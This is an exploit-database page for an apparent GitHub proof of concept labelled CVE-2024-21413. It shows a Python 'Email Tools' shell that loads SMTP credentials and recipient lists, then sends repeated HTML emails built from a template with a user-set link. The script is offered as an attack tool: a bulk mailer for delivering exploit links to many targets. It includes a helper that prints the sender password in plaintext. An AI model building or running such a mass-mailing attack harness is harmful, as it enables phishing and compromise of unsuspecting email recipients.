Exploit database

GH-9e2f93dae2bcdaa5d5c3e16c017a39de

themehackers/cve-2024-21413

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2024-21413

17 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
themehackers/cve-2024-21413Revision ede9153ede71

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

CVE-2024-21413.py

Python · 16,259 bytes
#!/usr/bin/env python3

import smtplib
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import os
import argparse
from colorama import Fore, Style, init
import re  
import sys
import time
from time import sleep
import platform
import colorama
import subprocess
import configparser
from typing import List, Optional, Dict
import cmd
import shlex

config = configparser.ConfigParser()
config.read('config.ini')  

sender_email = config.get('email_credentials', 'sender_email')
sender_password = config.get('email_credentials', 'sender_password')
smtp_server = config.get('email_credentials', 'smtp_server')
smtp_port = config.getint('email_credentials', 'smtp_port')  

def print_config(sender_email, sender_password):
    print(f"{colors.HEADER}{'=' * 95}{colors.ENDC}")
    print(f"Sender Email    : {sender_email}")
    print(f"Sender Password : {sender_password}")
    print(f"{colors.HEADER}{'=' * 95}{colors.ENDC}")

from subprocess import (
    DEVNULL,
    PIPE,
    Popen,
    STDOUT,
    call,
    run
)
colorama.init(autoreset=True)

class colors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKCYAN = '\033[96m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def is_running(process: str) -> bool:
    """Check if a process is running using subprocess."""
    try:
        subprocess.run(['pidof', process], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
        return True
    except subprocess.CalledProcessError:
        return False

def sprint(text, second=0.05, color=colors.ENDC):
    for line in text + '\n':
        sys.stdout.write(color + line + colors.ENDC)  
        sys.stdout.flush()       
        sleep(second)

def print_header():
    print(f"{colors.HEADER}{colors.BOLD}{'=' * 95}")
    print(f"{colors.OKBLUE}{colors.BOLD}Email Sending Script CVE-2024-21413{colors.ENDC} Developed by https://github.com/ThemeHacker")
    print(f"{colors.HEADER}{'=' * 95}{colors.ENDC}")

def hacker_text_effect(text, delay=0.05):
    """Prints text with a typing effect."""
    for char in text:
        sys.stdout.write(char)
        sys.stdout.flush()
        time.sleep(delay)
    print()  

def ascii_emailtools():
    __name__ = "HAcKeRTHeme"
    __version__ ="2.4.6"
    print("") 
    init(autoreset=True)  
    art = [
        "███████╗███╗   ███╗ █████╗ ██╗██╗         ████████╗ ██████╗  ██████╗ ██╗     ███████╗",
        "██╔════╝████╗ ████║██╔══██╗██║██║         ╚══██╔══╝██╔═══██╗██╔═══██╗██║     ██╔════╝",
        "█████╗  ██╔████╔██║███████║██║██║            ██║   ██║   ██║██║   ██║██║     ███████╗",
        "██╔══╝  ██║╚██╔╝██║██╔══██║██║██║            ██║   ██║   ██║██║   ██║██║     ╚════██║",
        "███████╗██║ ╚═╝ ██║██║  ██║██║███████╗       ██║   ╚██████╔╝╚██████╔╝███████╗███████║",
        "╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚══════╝       ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝╚══════╝"
    ]
    colors_list = [Fore.RED, Fore.YELLOW, Fore.GREEN, Fore.CYAN, Fore.BLUE, Fore.MAGENTA]
    for i, line in enumerate(art):
        print(colors_list[i % len(colors_list)] + line)
    sprint("Welcome to Email Tools! " + f'By {__name__}' + f' Version: {__version__}')

def check_and_clear():
    current_platform = platform.system()
    if current_platform == "Windows":
        os.system("cls")
        return "Clearing screen in Windows."
    elif current_platform == "Linux":
        os.system("clear")
        return "Clearing screen in Linux."
    else:
        return "Unknown platform. Cannot clear screen."

def is_valid_email(email):
    """Check if the provided email is valid."""
    regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
    return re.match(regex, email) is not None

def send_email(receiver_email: str, subject: str, link_content: Optional[str] = None, email_number: int = 1) -> None:
    """Send an email with improved error handling and type hints."""
    if not sender_email or not sender_password:
        print(f"{colors.FAIL}Error: Sender email and password must be set in environment variables.{colors.ENDC}")
        return

    if not is_valid_email(receiver_email):
        print(f"{colors.FAIL}Error: Invalid recipient email address: {receiver_email}.{colors.ENDC}")
        return

    msg = MIMEMultipart()
    msg['From'] = sender_email
    msg['To'] = receiver_email
    msg['Subject'] = subject
    
    try:
        with open("template/Stripo.html", "r") as html_file:
            html_content = html_file.read()
        html_content = html_content.replace("{receiver_email}", receiver_email)
        html_content = html_content.replace("{link_content}", link_content if link_content else "#")
        msg.attach(MIMEText(html_content, 'html'))

        with smtplib.SMTP(smtp_server, smtp_port) as server:
            server.starttls()
            server.login(sender_email, sender_password)
            server.send_message(msg)
            print(f"{colors.OKGREEN}Email sent successfully {email_number} to {receiver_email}.{colors.ENDC}")
    except FileNotFoundError:
        print(f"{colors.FAIL}Error: Template file not found.{colors.ENDC}")
    except smtplib.SMTPAuthenticationError:
        print(f"{colors.FAIL}Authentication failed. Check your email and password.{colors.ENDC}")
    except smtplib.SMTPConnectError:
        print(f"{colors.FAIL}Could not connect to the SMTP server. Check your network settings.{colors.ENDC}")
    except Exception as e:
        print(f"{colors.FAIL}Failed to send email {email_number} to {receiver_email}: {e}{colors.ENDC}")

def read_emails_from_file(file_path: str) -> List[str]:
    """Reads emails from a file and returns a list of valid emails with improved error handling."""
    emails = []
    try:
        with open(file_path, 'r') as f:
            emails = [line.strip() for line in f if is_valid_email(line.strip())]
            invalid_emails = [line.strip() for line in f if not is_valid_email(line.strip())]
            if invalid_emails:
                print(f"{colors.WARNING}Invalid emails skipped: {', '.join(invalid_emails)}{colors.ENDC}")
    except FileNotFoundError:
        print(f"{colors.FAIL}Error: File {file_path} not found.{colors.ENDC}")
    except Exception as e:
        print(f"{colors.FAIL}Error reading file: {e}{colors.ENDC}")
    return emails

class EmailShell(cmd.Cmd):
    intro = f"{colors.HEADER}Welcome to Email Tools Shell! Type 'help' for commands.{colors.ENDC}\n"
    prompt = f"{colors.OKGREEN}CVE-2024-21413 > {colors.ENDC}"
    
    def __init__(self):
        super().__init__()
        self.config = configparser.ConfigParser()
        self.load_config()
        self.current_settings = {
            'sender_email': self.config.get('email_credentials', 'sender_email'),
            'sender_password': self.config.get('email_credentials', 'sender_password'),
            'smtp_server': self.config.get('email_credentials', 'smtp_server'),
            'smtp_port': self.config.getint('email_credentials', 'smtp_port'),
            'subject': '',
            'link': '',
            'count': 1,
            'recipients': []
        }
        self.print_banner()

    def load_config(self):
        try:
            self.config.read('config.ini')
        except Exception as e:
            print(f"{colors.FAIL}Error loading config: {e}{colors.ENDC}")
            sys.exit(1)

    def print_banner(self):
        art = [
            "███████╗███╗   ███╗ █████╗ ██╗██╗         ████████╗ ██████╗  ██████╗ ██╗     ███████╗",
            "██╔════╝████╗ ████║██╔══██╗██║██║         ╚══██╔══╝██╔═══██╗██╔═══██╗██║     ██╔════╝",
            "█████╗  ██╔████╔██║███████║██║██║            ██║   ██║   ██║██║   ██║██║     ███████╗",
            "██╔══╝  ██║╚██╔╝██║██╔══██║██║██║            ██║   ██║   ██║██║   ██║██║     ╚════██║",
            "███████╗██║ ╚═╝ ██║██║  ██║██║███████╗       ██║   ╚██████╔╝╚██████╔╝███████╗███████║",
            "╚══════╝╚═╝     ╚═╝╚═╝  ╚═╝╚═╝╚══════╝       ╚═╝    ╚═════╝  ╚═════╝ ╚══════╝╚══════╝"
        ]
        colors_list = [Fore.RED, Fore.YELLOW, Fore.GREEN, Fore.CYAN, Fore.BLUE, Fore.MAGENTA]
        for i, line in enumerate(art):
            print(colors_list[i % len(colors_list)] + line)
        print(f"\n{colors.OKBLUE}Email Tools Shell v2.4.6{colors.ENDC}")

    def do_help(self, arg):
        """Show available commands"""
        print(f"\n{colors.HEADER}Available Commands:{colors.ENDC}")
        print(f"{colors.OKBLUE}set{colors.ENDC} <option> <value>  - Set configuration options")
        print(f"  Options:")
        print(f"    subject <text>    - Set email subject")
        print(f"    link <url>        - Set link in email")
        print(f"    count <number>    - Set number of emails to send")
        print(f"{colors.OKBLUE}show{colors.ENDC}                 - Show current settings")
        print(f"{colors.OKBLUE}add{colors.ENDC} <email>          - Add recipient email")
        print(f"{colors.OKBLUE}load{colors.ENDC} <file>          - Load recipients from file")
        print(f"{colors.OKBLUE}send{colors.ENDC}                 - Send emails")
        print(f"{colors.OKBLUE}clear{colors.ENDC}                - Clear screen")
        print(f"{colors.OKBLUE}exit{colors.ENDC}                 - Exit program")

    def do_set(self, arg):
        """Set configuration options"""
        try:
            args = shlex.split(arg)
            if len(args) != 2:
                print(f"{colors.FAIL}Usage: set <option> <value>{colors.ENDC}")
                print(f"Options: subject, link, count")
                return
            
            option, value = args
            if option in ['subject', 'link', 'count']:
                if option == 'count':
                    try:
                        value = int(value)
                    except ValueError:
                        print(f"{colors.FAIL}Count must be a number{colors.ENDC}")
                        return
                self.current_settings[option] = value
                print(f"{colors.OKGREEN}Set {option} to {value}{colors.ENDC}")
            else:
                print(f"{colors.FAIL}Invalid option: {option}{colors.ENDC}")
                print(f"Valid options: subject, link, count")
        except Exception as e:
            print(f"{colors.FAIL}Error setting value: {e}{colors.ENDC}")

    def do_show(self, arg):
        """Show current settings"""
        print(f"\n{colors.HEADER}Current Settings:{colors.ENDC}")
        for key, value in self.current_settings.items():
            if key == 'sender_password':
                print(f"{key}: {'*' * len(value)}")
            else:
                print(f"{key}: {value}")

    def do_add(self, arg):
        """Add recipient email"""
        if not arg:
            print(f"{colors.FAIL}Usage: add <email>{colors.ENDC}")
            return
        
        if self.is_valid_email(arg):
            self.current_settings['recipients'].append(arg)
            print(f"{colors.OKGREEN}Added recipient: {arg}{colors.ENDC}")
        else:
            print(f"{colors.FAIL}Invalid email address{colors.ENDC}")

    def do_load(self, arg):
        """Load recipients from file"""
        if not arg:
            print(f"{colors.FAIL}Usage: load <file>{colors.ENDC}")
            return
        
        try:
            with open(arg, 'r') as f:
                emails = [line.strip() for line in f if self.is_valid_email(line.strip())]
                self.current_settings['recipients'].extend(emails)
                print(f"{colors.OKGREEN}Loaded {len(emails)} recipients{colors.ENDC}")
        except Exception as e:
            print(f"{colors.FAIL}Error loading file: {e}{colors.ENDC}")

    def do_send(self, arg):
        """Send emails"""
        if not self.current_settings['recipients']:
            print(f"{colors.FAIL}No recipients added{colors.ENDC}")
            return
        
        if not self.current_settings['subject']:
            print(f"{colors.FAIL}Subject not set{colors.ENDC}")
            return

        print(f"{colors.WARNING}Starting to send emails...{colors.ENDC}")
        for i in range(1, self.current_settings['count'] + 1):
            for recipient in self.current_settings['recipients']:
                self.send_email(recipient, i)

    def do_clear(self, arg):
        """Clear screen"""
        os.system('cls' if os.name == 'nt' else 'clear')
        self.print_banner()

    def do_exit(self, arg):
        """Exit program"""
        print(f"{colors.OKGREEN}Goodbye!{colors.ENDC}")
        return True

    def is_valid_email(self, email: str) -> bool:
        """Check if email is valid"""
        regex = r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$'
        return re.match(regex, email) is not None

    def send_email(self, receiver_email: str, email_number: int) -> None:
        """Send an email"""
        msg = MIMEMultipart()
        msg['From'] = self.current_settings['sender_email']
        msg['To'] = receiver_email
        msg['Subject'] = self.current_settings['subject']
        
        try:
            with open("template/Stripo.html", "r") as html_file:
                html_content = html_file.read()
            html_content = html_content.replace("{receiver_email}", receiver_email)
            html_content = html_content.replace("{link_content}", 
                self.current_settings['link'] if self.current_settings['link'] else "#")
            msg.attach(MIMEText(html_content, 'html'))

            with smtplib.SMTP(self.current_settings['smtp_server'], 
                            self.current_settings['smtp_port']) as server:
                server.starttls()
                server.login(self.current_settings['sender_email'], 
                           self.current_settings['sender_password'])
                server.send_message(msg)
                print(f"{colors.OKGREEN}Email sent successfully {email_number} to {receiver_email}.{colors.ENDC}")
        except Exception as e:
            print(f"{colors.FAIL}Failed to send email {email_number} to {receiver_email}: {e}{colors.ENDC}")


def clear_terminal():
    os.system('cls' if os.name == 'nt' else 'clear')

if __name__ == "__main__":
    try:
        clear_terminal()  
        EmailShell().cmdloop()
    except KeyboardInterrupt:
        print(f"\n{colors.OKGREEN}Goodbye!{colors.ENDC}")
        sys.exit(0)